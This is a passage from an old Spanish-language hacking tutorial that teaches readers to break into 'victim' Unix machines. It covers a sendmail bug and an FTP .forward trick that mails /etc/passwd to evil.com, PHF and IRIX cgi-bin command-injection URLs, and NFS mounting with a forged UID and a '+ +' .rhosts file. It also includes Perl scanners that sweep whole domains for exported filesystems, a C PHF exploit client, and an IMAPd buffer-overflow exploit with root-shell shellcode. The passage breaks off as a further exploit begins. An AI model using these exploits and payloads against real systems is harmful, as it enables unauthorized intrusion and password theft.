  3697.    550 loquequieras... User unknown
  3698.    data
  3699.    354 Enter mail, end with "." on a line by itself
  3700.    .
  3701.    250 Mail accepted
  3702.    quit
  3703.    Connection closed by foreign host.
  3704.  
  3705.   Notas:
  3706.   -victima.com = nombre del ordenador a hackear
  3707.   -mimaquina = nombre de nuestro ordenador
  3708.   -Lo que aparece con un numero delante son mensajes de nuestra victima, 
  3709.   el resto es lo que tienes que escribir.
  3710.  
  3711.         La idea de este bug, es que usualmente, en el sendmail en la linea de
  3712.   mail from: pondrias pepe@uno.es , pero sin embargo, y la gracia esta aqui,
  3713.   le dices que te mande el fichero /etc/passwd. Pero os digo una cosa
  3714.   sinceramente, este bug no funciona casi nunca, y si funciona, felicidades,
  3715.   estas en una maquina que el rOOt no tiene ni puta idea.
  3716.  
  3717.   Como conseguir el fichero /etc/passwd si el ftp esta mal configurado
  3718.  
  3719.         La victima debe de tener una copia completa del fichero /etc/passwd en
  3720.   su ftp anonimo -ftp/etc en vez de una version reducida. Sin embargo, puedes
  3721.   ver que normalmente nunca aparece el fichero verdadero :( , pero el home
  3722.   directory de "ftp" puede ser escribible en victim.com. Esto te permite
  3723.   ejecutar comandos remotamente - en este caso, mandarte el archivo por mail
  3724.   a ti mismo - por el simple metodo de crear un archivo .forward que ejecuta
  3725.   un comando cuando un mail es mandado a la cuenta "ftp".
  3726.  
  3727.    evil % cat forward_sucker_file
  3728.      "|/bin/mail zen@evil.com < /etc/passwd"
  3729.  
  3730.    evil % ftp victim.com
  3731.    Connected to victim.com
  3732.    220 victim FTP server ready.
  3733.    Name (victim.com:zen): ftp
  3734.    331 Guest login ok, send ident as password.
  3735.    Password:
  3736.    230 Guest login ok, access restrictions apply.
  3737.    ftp> ls -lga
  3738.    200 PORT command successful.
  3739.    150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
  3740.    total 5
  3741.    drwxr-xr-x  4 101      1             512 Jun 20  1991 .
  3742.    drwxr-xr-x  4 101      1             512 Jun 20  1991 ..
  3743.    drwxr-xr-x  2 0        1             512 Jun 20  1991 bin
  3744.    drwxr-xr-x  2 0        1             512 Jun 20  1991 etc
  3745.    drwxr-xr-x  3 101      1             512 Aug 22  1991 pub
  3746.    226 ASCII Transfer complete.
  3747.    242 bytes received in 0.066 seconds (3.6 Kbytes/s)
  3748.    ftp> put forward_sucker_file .forward
  3749.    43 bytes sent in 0.0015 seconds (28 Kbytes/s)
  3750.    ftp> quit
  3751.    evil % echo test | mail ftp@victim.com
  3752.  
  3753.         Ahora simplemente tienes que esperar a que el fichero de passwords te
  3754.   sea enviado.
  3755.  
  3756.  
  3757.   Ejecutar comandos de manera remota en Irix con cgi-bin/handler
  3758.  
  3759.         El cgi-bin/handler en los sistemas IRIX permite la lectura y escritura
  3760.   de ficheros. Sin embargo existe un bug que da paso a la ejecucion remota de
  3761.   comandos. El sistema intentara abrir el fichero (taluego_Lucas) y si no
  3762.   existe dara un mensaje de error para a continuacion ≡ejecutar el comando
  3763.   que sigue. Muy importante, el espacio entre el comando cat y su argumento
  3764.   es un *tabulador* (TAB), no se admiten espacios asi que aunque podeis poner
  3765.   otro comando que no sea cat no podreis poner ningun comando que requiera
  3766.   espacios.
  3767.  
  3768.         $ telnet victima.com 80
  3769.         $ GET /cgi-bin/handler/taluego_Lucas;cat   /etc/passwd|?data=Download
  3770.         $ HTTP/1.0
  3771.  
  3772.         En IRIX 6.3 se intento arreglar esto pero lo unico que se consiguio
  3773.   fue que el formato del bug pase a ser:
  3774.  
  3775.         $telnet victima.com 80
  3776.         $GET /cgi-bin/handler/whatever;cat    /etc/passwd|   ?data=Download
  3777.         $HTTP/1.0
  3778.  
  3779.   Con un nuevo TAB para "engañar" al script PERL.
  3780.  
  3781.         Hay muchos mas, pero no me apetece seguir buscando.. quiza para
  3782.   posteriores ediciones...ademas en esta categoria tambien entra el PHF que
  3783.   esta explicado mas adelante.
  3784.  
  3785.   4.4.- MOUNT
  3786.  
  3787.         Este no es un bug, sino un defecto de configuracion del NFS. Aqui voy
  3788.   a intentar explicarlo extensamente para que sepais lo que estais haciendo:
  3789.  
  3790.         El NFS (Network File System) es un sistema de red que permite que una 
  3791.   maquina servidor pueda hacer disponibles sistemas de archivos y dispositivos 
  3792.   perifericos a maquinas clientes. Asi, la maquina cliente podra montar esos 
  3793.   directorios pudiendolos usar como si los poseyera.
  3794.  
  3795.         Otra cosa muy distinta es lo que se pueda hacer con los ficheros
  3796.   incluidos en dichos directorios (si se pueden borrar, modificar, alterar
  3797.   los permisos, etc), lo cual depende de la configuracion del NFS. En
  3798.   realidad, no es dificil configurar el NFS para que no pueda haber problemas
  3799.   de seguridad, usando las opciones ro y rw en la configuracion que indican
  3800.   que clientes tienen acceso de lectura y escritura respectivamente. Por
  3801.   tanto, los problemas aparecen cuando no han sido utlidas estas opciones
  3802.   correctamente y cualquier usuario remoto puede leer y escribir... gracias a
  3803.   dios hay root que dan facilidades :o)
  3804.  
  3805.         Mount es el comando en unix que permite montar archivos en tu maquina
  3806.   para conseguir el objetivo expuesto anteriormente.
  3807.  
  3808.         Para ver si una maquina remota con NFS tiene files montables se hace
  3809.   siendo root en la maquina donde estas usando el comando showmount. Este
  3810.   comando se utiliza para determinar que sistema ha montado un sistema de
  3811.   archivos desde un sistema dado. Con el parametro -a muestra todos los
  3812.   sistemas de archivos que se han montado desde el nodo servidor mientras que
  3813.   el comando -e muestra la lista de todos los sistemas de archivos exportados.
  3814.  
  3815.   Como root, has de ejecutar en tu maquina:
  3816.  
  3817.   $root> showmount -e hostvictima.com
  3818.   mount clntudp_create: RPC: Port mapper failure - RPC: Unable to receive
  3819.  
  3820.         Si la respuesta es algo de este estilo... quiere decir que no ha
  3821.   habido suerte :o(
  3822.  
  3823.   $root> showmount -e otra.net
  3824.   Export list for otra.net:
  3825.   /var/mail                                 makina1.otra.net
  3826.   /home/user1                               makina1.otra.net
  3827.   /usr/local                                pluto.seva.net,rover.seva.net
  3828.   /export/X11R6.3                           makina2.otra.net
  3829.   /export/rover                             makina1.otra.net,makina2.otra.net
  3830.  
  3831.         En esta maquina no hay accesos del tipo everyone que sean interesantes
  3832.   :o( .. bueno con otras tecnicas mas avanzadas si.. pero no son el objeto de
  3833.   este texto ;o)
  3834.  
  3835.         Seguimos buscando hasta que encontremos una maquina victim.com que nos 
  3836.   ponga algo del tipo
  3837.  
  3838.   /home                   (everyone)
  3839.   o
  3840.   /                       (everyone)
  3841.  
  3842.   BINGO!!!!!
  3843.  
  3844.         Una vez pillemos una makina de estas caracteristicas, se pueden hacer 
  3845.   muchas cosas pero voy a explicar el metodo tipico expuesto en los textos de 
  3846.   hacking aunque pensando un poko se te pueden okurrir otros :)
  3847.  
  3848.         Lo que vamos a hacer es crear una cuenta rapper (rapper es el nombre
  3849.   de un usuario de la maquina remota.. para cada caso sera uno distinto) en
  3850.   nuestro fichero de passwd local ( es decir, el de nuestra maquina) y luego
  3851.   como usuario rapper ( cambiamos a ese usuario con el su) pondremos una
  3852.   entra .rhosts en su directorio home para poder hacer un rlogin sin password.
  3853.  
  3854.   Primero, creamos el directorio donde lo vamos a montar
  3855.  
  3856.   mimaquina:~>mkdir /tmp/mount
  3857.   mimaquina:~>mount -nt nfs victim.com:/home /tmp/mount/
  3858.  
  3859.         y con esto ya tendremos montado el directorio de la maquina remota en 
  3860.   nuestra maquina local con lo que haciendo un ls en /tmp/mount veremos todos 
  3861.   sus archivos :o)
  3862.  
  3863.   mimaquina:~>ls -lsa /tmp/mount/
  3864.   total 9
  3865.        1 drwxrwxr-x   8 root     root         1024 Jul  4 20:34 ./
  3866.        1 drwxr-xr-x  19 root     root         1024 Oct  8 13:42 ../
  3867.        1 drwxr-xr-x   3 at1      users        1024 Jun 22 19:18 at1/
  3868.        1 dr-xr-xr-x   8 ftp      wheel        1024 Jul 12 14:20 ftp/
  3869.        1 drwxrx-r-x   3 john     100          1024 Jul  6 13:42 john/
  3870.        1 drwxrx-r-x   3 139      100          1024 Sep 15 12:24 paul/
  3871.        1 -rw-------   1 root     root          242 Mar  9  1997 sudoers
  3872.        1 drwx------   3 test     100          1024 Oct  8 21:05 test/
  3873.        1 drwx------  15 102      100          1024 Oct 20 18:57 rapper/
  3874.  
  3875.         Vemos que hay un usuario llamado rapper cuyo UID (User Identification)
  3876.   es 102 por lo que lo tendremos que incluir en el /etc/passwd de nuestra
  3877.   maquina:
  3878.  
  3879.   mimaquina:~>echo "rapper::102:2::/tmp/mount:/bin/csh" >> /etc/passwd
  3880.  
  3881.   mimaquina:~>su - rapper
  3882.   Welcome to rapper's user.
  3883.   mimaquina:~>ls -lsa /tmp/mount/
  3884.    total 9
  3885.         1 drwxrwxr-x   8 root     root         1024 Jul  4 20:34 ./
  3886.         1 drwxr-xr-x  19 root     root         1024 Oct  8 13:42 ../
  3887.         1 drwxr-xr-x   3 at1      users        1024 Jun 22 19:18 at1/
  3888.         1 dr-xr-xr-x   8 ftp      wheel        1024 Jul 12 14:20 ftp/
  3889.         1 drwxrx-r-x   3 john     100          1024 Jul  6 13:42 john/
  3890.         1 drwxrx-r-x   3 139      100          1024 Sep 15 12:24 paul/
  3891.         1 -rw-------   1 root     root          242 Mar  9  1997 sudoers
  3892.         1 drwx------   3 test     100          1024 Oct  8 21:05 test/
  3893.         1 drwx------  15 rapper   daemon       1024 Oct 20 18:57 rapper/
  3894.  
  3895.         Asi, poseemos el directorio de rapper por lo que podemos usar las
  3896.   propiedades del .rhosts ( escribimos + + en su .rhosts y luego hacemos un
  3897.   rlogin):
  3898.  
  3899.   mimaquina:~>echo "+ +" > rapper/.rhosts
  3900.   mimaquina:~>cd /
  3901.   mimaquina:~>rlogin -l rapper victima.com
  3902.   Welcome to Victima.Com.
  3903.   SunOs ver....(crap).
  3904.   victima:~$
  3905.  
  3906.   y ya tienes una cuenta en el sistema ¡!
  3907.  
  3908.   Para desmontar el archivo, sal de este directorio y ejecuta:
  3909.  
  3910.   mimaquina:~> umount /tmp/mount
  3911.  
  3912.         Tened en cuenta que para este metodo, hemos de tener acceso a la
  3913.   maquina por rlogin, asi que si no es el caso, este metodo tambien admite
  3914.   otras posibilidades pero eso se deja para otro texto :)
  3915.  
  3916.  
  3917.         Como lo mas coñazo de este metodo es buscar maquinas con ficheros 
  3918.   exportables, a continuacion expongo un script escrito por Invisble Evil en
  3919.   perl que te permite buscar automaticamente. Para usarlo previamente se han
  3920.   de conseguir listas de maquinas que se pueden obtener usando el host -l 
  3921.   nombredominio > salida y luego usando un script para obtener los ip del
  3922.   fichero salida o se pueden obtener listas de maquinas que hay en internic
  3923.   (se obtienen por ftp de rs.internic.net) y que son listas de maquinas con
  3924.   esa extension:
  3925.  
  3926.   com.zone.gz
  3927.   edu.zone.gz
  3928.   gov.zone.gz
  3929.   mil.zone.gz
  3930.   net.zone.gz
  3931.   org.zone.gz
  3932.  
  3933.         cuando tengas estos files bajados y tras hacer un gunzip, tendras que
  3934.   ejecutar el script en perl:
  3935.  
  3936.   "perl getdomain.pl com.zone com >com.all"
  3937.   perl getdomain.pl edu.zone edu >edu.all
  3938.  
  3939.         Y asi con todos, obteniendo ficheros com.all, edu.all y sucesivamente
  3940.   donde tendras la lista de maquinas.
  3941.  
  3942. ------------ Codigo Fuente ---------------------------------------------------
  3943.  
  3944. getdomain.pl
  3945. ---- cut here
  3946. #!/usr/bin/perl
  3947.  
  3948. # GetDomain By Nfin8 / Invisible Evil
  3949. # Questions /msg i-e  or  /msg i^e
  3950. #
  3951. # Retrieve command line arguments.
  3952. my($inputfile, $domain) = @ARGV;
  3953. usage() if (!defined($inputfile) || !defined($domain));
  3954.  
  3955. # Open and preprocess the input file.
  3956. open(INFILE, "<$inputfile") or die("Cannot open file $inputfile for
  3957. reading!\n");
  3958. my(@lines) = <INFILE>;
  3959.  
  3960. # Initialize main data structure.
  3961. my(%hash) = {};
  3962. my($key) = "";
  3963.  
  3964. foreach (@lines) {
  3965.   $key = (split(/\ /))[0];
  3966.   chop($key);
  3967.   next if ((($key =~ tr/.//) < 1) || 
  3968.             (uc($domain) ne uc(((split(/\./, $key))[-1]))) || 
  3969.             ($key =~ m/root-server/i));
  3970.   $hash{$key}++;
  3971. }
  3972.  
  3973. # Close input file and output data structure to STDOUT.
  3974. close(INFILE);
  3975.  
  3976. foreach (sort(keys(%hash))) {
  3977.   print "$_\n";
  3978. }
  3979.  
  3980. sub usage {
  3981.   print("\n\ngetdomain:\n");
  3982.   print("Usage: getdomain [inputfile] [search]\n\n");
  3983.   print("Where [search] is one of \'com\', \'edu\', \'gov\', \'mil\' or
  3984.         \'net\'.\n\n");
  3985.   exit(0);
  3986. }
  3987.   
  3988. 0;
  3989.   
  3990. ------------ FIN -------------------------------------------------------------
  3991.  
  3992.         Tras obtener la lista de maquinas usando el anterior script (edu.all,
  3993.   com.all, etc..), se ha de usar el script que se expone a continuacion para
  3994.   obtener los resultados del showmount -e:
  3995.  
  3996.         En cada dominio, este script busca si hay discos montables y guarda
  3997.   la info en el directorio actual en ficheros llamados domain.XXX.export...
  3998.   asi solo tienes que ver estos logs y mirar si ha habido suerte !!!!
  3999.  
  4000. ------------ Codigo Fuente ---------------------------------------------------
  4001.  
  4002. #/usr/bin/perl -w
  4003. #
  4004. # Check NFS exports of hosts listed in file.
  4005. # (Hosts are listed, once per line with no additional whitespaces.)
  4006. #
  4007. # ii@dormroom.pyro.net - 2/27/97.
  4008.  
  4009. # Assign null list to @URLs which will be added to later.
  4010. my(@result) = ();
  4011. my(@domains) = ();
  4012. my($program) = "showmount -e ";
  4013.  
  4014. # Pull off filename from commandline. If it isn't defined, then assign
  4015. # default.
  4016. my($DomainFilename) = shift;
  4017. $DomainFilename = "domains" if !defined($DomainFilename);
  4018.  
  4019. # Do checking on input.
  4020. die("mountDomains: $DomainFilename is a directory.\n") if (-d 
  4021. $DomainFilename);
  4022.  
  4023. # Open $DomainFilename.
  4024. open(DOMAINFILE, $DomainFilename) or 
  4025.   die("mountDomains: Cannot open $DomainFilename for input.\n");
  4026.   
  4027. while (<DOMAINFILE>) {
  4028.   chomp($_);
  4029.   print "Now checking: $_";
  4030.  
  4031.   # Note difference in program output capture from "geturl.pl".  
  4032.   open (EXECFILE, "$program $_ |");
  4033.   @execResult = <EXECFILE>;
  4034.   next if (!defined($execResult[0]));
  4035.   if ($execResult[0] =~ /^Export/) {
  4036.     print " - Export list saved.";
  4037.     open (OUTFILE, ">$_.export");
  4038.     foreach (@execResult) {
  4039.       print OUTFILE;
  4040.     }
  4041.     close (OUTFILE);
  4042.   }
  4043.   close(EXECFILE);
  4044.   print "\n";
  4045. }
  4046.   
  4047. # We are done. Close all files and end the program.
  4048. close (DOMAINFILE);
  4049.  
  4050. 0;
  4051.  
  4052. ------------ FIN -------------------------------------------------------------
  4053.  
  4054.         Una nota final a todo este coñazo, lo pongo aqui para que solo lo lean
  4055.   los que se leen los textos enteros (jeje) es que /export/foo es el home
  4056.   directory del usuario guest por lo que aunque no nos dejen exportar el
  4057.   directorio /home, en caso de que nos dejen exportar el directorio /export,
  4058.   se podra aplicar este mismo metodo pero teniendo en cuenta de que en lugar
  4059.   de usar el usuario rapper se usara el usuario guest
  4060.  
  4061.   suerte ahi fuera......
  4062.  
  4063.   4.5.- PHF
  4064.  
  4065.         Este sistema es antiguo y ampliamente conocido por todo el mundo, pero 
  4066.   aunque parezca mentira sigue funcionando y por ello lo expongo en este
  4067.   texto.
  4068.  
  4069.         El phf es un fichero que se encuentra en el directorio /cgi-bin de
  4070.   maquinas unix que ofrezcan este servicio y sirve para buscar direcciones,
  4071.   pero habilmente utilizado puede servir para ejecutar comandos remotos sobre
  4072.   dicha maquina pero no se pueden usar pipes, quotes, etc. En este texto nos
  4073.   vamos a centrar en su uso para la obtencion del fichero passwd de un sistema
  4074.   aunque pensando un poco se le pueden dar otras aplicaciones bastante
  4075.   interesantes ya que te permite ejecutar comandos en la maquina victima.
  4076.  
  4077.         Vamos a empezar comentando el uso mas extendido para luego dar otras 
  4078.   ayudas para su uso asi como otras aplicaciones:
  4079.  
  4080.   Asi, escribe en tu navegador:
  4081.  
  4082.   http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
  4083.         (        1      )(     2    )(     3   )(   4  )(5)(    6    )
  4084.  
  4085.    1.- El site que quieras atacar.
  4086.    2.- El comando phf.
  4087.    3.- Aqui es donde esta el secreto.
  4088.    4.- El programa que quieres que se ejecute.
  4089.    5.- El %20 es un espacio, y se pueden usar tantos como te hagan falta.
  4090.    6.- Y pues aqui va el archivo o directorio que quieres ver.
  4091.  
  4092.   Tras ejecutar este xploit, pueden suceder varias cosas:
  4093.  
  4094.         1.- Que no se encuentre el archivo phf, porque los administradores
  4095.   que son un poco mas listos han desactivado esta opcion o que sea astuto y
  4096.   un poco borde y te mande algun nuke al intentarlo .. todo no iba a ser
  4097.   bonito¡!! :o( Esto pasa en algunas maquinas sobre todo si son de hackers :o)
  4098.  
  4099.         2.- Que te salga el archivo, pero los password no estan de la manera
  4100.   habitual. Entonces, pueden pasar dos cosas, que este shadow o que este el
  4101.   NIS instalado. Si estamos en el segundo caso, se puede identificar porque en
  4102.   la ultima linea del fichero tiene una cadena parecida a esta "+::0:0:::" Si
  4103.   NO TE SALE, intenta poner en la linea del navegador, en vez de /etc/passwd
  4104.   pues /etc/shadow u otro archivo dependiendo del sistema ( si el httpd rula
  4105.   como root). Si TE SALE la cadena "+::0:0:::" estas de suerte, porque eso
  4106.   indica que tiene activado el sistema de archivos NIS, y por lo cual
  4107.   posiblemente funcione el comando "ypcat" para leer el passwd. La linea seria
  4108.   la siguiente:
  4109.  
  4110.   http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/ypcat%20passwd 
  4111.  
  4112.         Con esto te saldran todas las cuentas sin sombrear, o sea lo que
  4113.   quiere decir que puedes crackear el fichero passwd
  4114.  
  4115.   Si todo sale bien el resultado sera del tipo:
  4116.  
  4117.                                  QUERY RESULTS
  4118.  
  4119.   /usr/local/bin/ph -m alias=x cat /etc/passwd
  4120.  
  4121.   root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
  4122.   bin:*:1:1:bin:/bin:
  4123.   daemon:*:2:2:daemon:/sbin:
  4124.   adm:*:3:4:adm:/var/adm:
  4125.   lp:*:4:7:lp:/var/spool/lpd:
  4126.   sync:*:5:0:sync:/sbin:/bin/sync
  4127.   shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
  4128.   halt:*:7:0:halt:/sbin:/sbin/halt
  4129.   mail:*:8:12:mail:/var/spool/mail:
  4130.   news:*:9:13:news:/usr/lib/news:
  4131.   uucp:*:10:14:uucp:/var/spool/uucppublic:
  4132.   operator:*:11:0:operator:/root:/bin/bash
  4133.   games:*:12:100:games:/usr/games:
  4134.   man:*:13:15:man:/usr/man:
  4135.   postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
  4136.   nobody:*:-2:100:nobody:/dev/null:
  4137.   ftp:*:404:1::/home/ftp:/bin/bash
  4138.   guest:*:405:100:guest:/dev/null:/dev/null
  4139.   bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
  4140.   web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
  4141.   mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
  4142.  
  4143.         Y una vez tienes este texto en la pantalla de tu navegador, solo
  4144.   tienes que hacer un guardar como.
  4145.  
  4146.         Pero el PHF te da muchas mas posibilidades, ya que si el server esta
  4147.   corriendo su httpd server como root, se puede obtener el acceso de root.
  4148.  
  4149.   Usando 
  4150.  
  4151.   http://www.victima.com/cgi-bin/phf?Qalias=x%0a/usr/bin/id
  4152.  
  4153.         Usamos el id para conocer la identificacion del user. Recuerda que el
  4154.   root es id=0 aunque lo usual es que corra bajo nobody y te saldria algo de
  4155.   este tipo:
  4156.  
  4157.                                  QUERY RESULTS
  4158.  
  4159.   /usr/local/bin/ph -m alias=x id
  4160.  
  4161.   uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
  4162.  
  4163.  
  4164.         Si en lugar de correr como usuario nobody, corriese como root,
  4165.   podriamos usar comandos como root, interesante no??
  4166.  
  4167.   http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
  4168.   http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/ypcat%20passwd 
  4169.  
  4170.         Estos dos ya han sido explicados anteriormente. El que muestro a
  4171.   continuacion podria ser util para ver todos los ficheros del directorio
  4172.   /etc que empiezan con la palabra pass.
  4173.  
  4174.   http://www.victima.com/cgi-bin/phf?Qalias=x%0als%20-al%20/etc/pass*
  4175.  
  4176.         Los tres comandos anteriores funcionaran aunque no corra como root,
  4177.   pero para los siguientes si que es necesario el root, pero son los mas
  4178.   interesantes:
  4179.  
  4180.   Cambiar el password del root (no funciona mucho pero si a veces):
  4181.  
  4182.   http://www.victima.com/cgi-bin/phf?Qalias=x%0apasswd%20root
  4183.  
  4184.         Ademas, hay que pensar que una makina kon phf y ke el httpd rule komo
  4185.   root es practicamente como si tuviesemos una cuenta de root en la maquina,
  4186.   asi que ya sabeis........ kreo ke sobran los komentarios no?  }-)
  4187.  
  4188.         Bien, todo lo que he contado es suponiendo que usais el navegador como
  4189.   el Netscape para el ventanukos o usar el Netscape o lynx para linux, pero
  4190.   adjunto un programa para que podais usar comandos para el phf desde el
  4191.   shell que es mas comodo y ademas si usais una maquina de condon, no teneis
  4192.   que depender de si esa maquina tiene navegadores o no.
  4193.  
  4194.   En fin, el codigo es el siguiente:
  4195.  
  4196. ------------ Codigo Fuente ---------------------------------------------------
  4197.  
  4198. /* Some small changes for efficiency by snocrash. */
  4199. /*
  4200.  * cgi-bin phf exploit by loxsmith [xf]
  4201.  *
  4202.  * I wrote this in C because not every system is going to have lynx.  Also,
  4203.  * this saves the time it usually takes to remember the syntatical format
  4204.  * of the exploit.  Because of the host lookup mess, this will take
  4205.  * approximately 12 seconds to execute with average network load.  Be patient.
  4206.  *
  4207.  */
  4208.  
  4209. #include <stdio.h>
  4210. #include <string.h>
  4211. #include <sys/types.h>
  4212. #include <sys/socket.h>
  4213. #include <netinet/in.h>
  4214. #include <netdb.h>
  4215. #include <errno.h>
  4216.  
  4217. int main(argc, argv)
  4218.      int argc;
  4219.      char **argv;
  4220. {
  4221.      int i = 0, s, port, bytes = 128;
  4222.      char exploit[0xff], buffer[128], hostname[256], *command, j[2];
  4223.      struct sockaddr_in sin;
  4224.      struct hostent *he;
  4225.  
  4226.      if (argc != 3 && argc != 4) {
  4227.           fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);
  4228.           exit(1);
  4229.      }
  4230.  
  4231.      command = (char *)malloc(strlen(argv[1]) * 2);
  4232.  
  4233.      while (argv[1][i] != '\0') {
  4234.           if (argv[1][i] == 32) strcat(command, "%20"); else {
  4235.                sprintf(j, "%c", argv[1][i]);
  4236.                strcat(command, j);
  4237.           }
  4238.           ++i;
  4239.      }
  4240.  
  4241.      strcpy(hostname, argv[2]);
  4242.      if (argc == 4) port = atoi(argv[3]); else port = 80;
  4243.  
  4244.      if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {
  4245.           he = gethostbyname(hostname);
  4246.       if (he) {
  4247.                sin.sin_family = he->h_addrtype;
  4248.                memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0], 
  4249.                       he->h_length);
  4250.           } else {
  4251.                fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname);
  4252.                exit(1);
  4253.           }
  4254.      }
  4255.      sin.sin_family = AF_INET;
  4256.      sin.sin_port = htons((u_short) port);
  4257.  
  4258.      if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {
  4259.           fprintf(stderr, "%s: could not get socket\n", argv[0]);
  4260.           exit(1);
  4261.      }
  4262.  
  4263.      if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
  4264.           close(s);
  4265.           fprintf(stderr, "%s: could not establish connection\n", argv[0]);
  4266.           exit(1);
  4267.      }
  4268.  
  4269.      sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s\n", command);
  4270.      free(command);
  4271.      write(s, exploit, strlen(exploit));
  4272.      while(bytes == 128) {
  4273.           bytes = read(s, buffer, 128);
  4274.           fprintf(stdout, buffer);
  4275.      }
  4276.      close(s);
  4277. }
  4278.  
  4279. ------------ FIN -------------------------------------------------------------
  4280.  
  4281.   La sintaxis para usar este codigo es:
  4282.  
  4283.   phf cat%20/etc/passwd www.maquinavictima.com            para hacer un cat 
  4284.   passwd
  4285.  
  4286.   phf id www.maquinavictima.com           para hacer un id
  4287.  
  4288.   phf ls www.maquinavictima.com           para hacer un ls
  4289.  
  4290.   etc... como veis la sintaxis es sencilla y mas comodo que usar el navegador.
  4291.  
  4292.  
  4293.         Para posteriores ediciones del texto comentare algun codigo
  4294.   interesante que tengo para explotar el phf asi como algun truquillo para
  4295.   obtener mas posibilidades de este bug. ;o) como pillar los ficheros de
  4296.   passwd si esta shadow, evitar filtrado de ip, etc... pensad que una maquina
  4297.   con phf es una maquina en la que puedes ejecutar y ver comandos
  4298.   remotamente.. asi que pensando un poco las posibilidades son infinitas :o)
  4299.  
  4300.   4.7.- XPLOITS QUE TE DAN DIRECTAMENTE UNA SHELL
  4301.  
  4302.         En este apartado, voy a poner unos cuantos xploits pero como he dicho 
  4303.   anteriormente, la red esta llena de xploits para todos los sistemas
  4304.   operativos y casi todas las versiones asi que aqui solo voy a poner unos
  4305.   cuantos.
  4306.  
  4307.         En fin, voy a poner uno que da directamente un shell de root debido al
  4308.   bug del impad ( puerto 143) en maquinas linux con RedHat:
  4309.  
  4310. ------------ Codigo Fuente ---------------------------------------------------
  4311.  
  4312. /*
  4313.  * IMAPd Linux/intel remote xploit by savage@apostols.org 1997-April-05
  4314.  *
  4315.  * Workz fine against RedHat and imapd distributed with pine
  4316.  *
  4317.  * Special THANKS to: b0fh,|r00t,eepr0m,moxx,Fr4wd,Kore and the rest of
  4318. ToXyn !!!
  4319.  *
  4320.  * usage:
  4321.  *      $ (imap 0; cat) | nc victim 143
  4322.  *              |
  4323.  *              +--> usually from -1000 to 1000 ( try in steps of 100 )
  4324.  *
  4325.  *              [ I try 0, 100 and 200 - so1o ]
  4326.  */
  4327.  
  4328. #include <stdio.h>
  4329.  
  4330. char shell[] =
  4331. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  4332. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  4333. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  4334. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  4335. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  4336. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  4337. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  4338. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  4339. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  4340. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  4341. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  4342. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  4343. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  4344. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  4345. "\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88"
  4346. "\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e"
  4347. "\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90"
  4348. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  4349. "\xe8\xc0\xff\xff\xff/bin/sh";
  4350.  
  4351. char username[1024+255];
  4352.  
  4353. void main(int argc, char *argv[]) {
  4354.         int i,a;
  4355.         long val;
  4356.  
  4357.         if(argc>1)
  4358.                 a=atoi(argv[1]);
  4359.         else
  4360.                 a=0;
  4361.  
  4362.         strcpy(username,shell);
  4363.  
  4364.         for(i=strlen(username);i<sizeof(username);i++)
  4365.                 username[i]=0x90; /* NOP */
  4366.  
  4367.         val = 0xbffff501 + a;
  4368.  
  4369.         for(i=1024;i<strlen(username)-4;i+=4)
  4370.         {
  4371.                 username[i+0] = val & 0x000000ff;
  4372.                 username[i+1] = (val & 0x0000ff00) >> 8;
  4373.                 username[i+2] = (val & 0x00ff0000) >> 16;
  4374.                 username[i+3] = (val & 0xff000000) >> 24;
  4375.         }
  4376.  
  4377.         username[ sizeof(username)-1 ] = 0;
  4378.  
  4379.         printf("%d LOGIN \"%s\" pass\n", sizeof(shell), username);
  4380. }
  4381.  
  4382. ------------ FIN -------------------------------------------------------------
  4383.  
  4384.         Otro para BSDI BSD/OS 2.1 y bien explicadito (aunque en ingles.. pero
  4385.    creo que es demasiado sencillo para traducirno no?):
  4386.  
  4387. ------------ Codigo Fuente ---------------------------------------------------
  4388.  
  4389. /* Bug originally discovered by Theo de Raadt
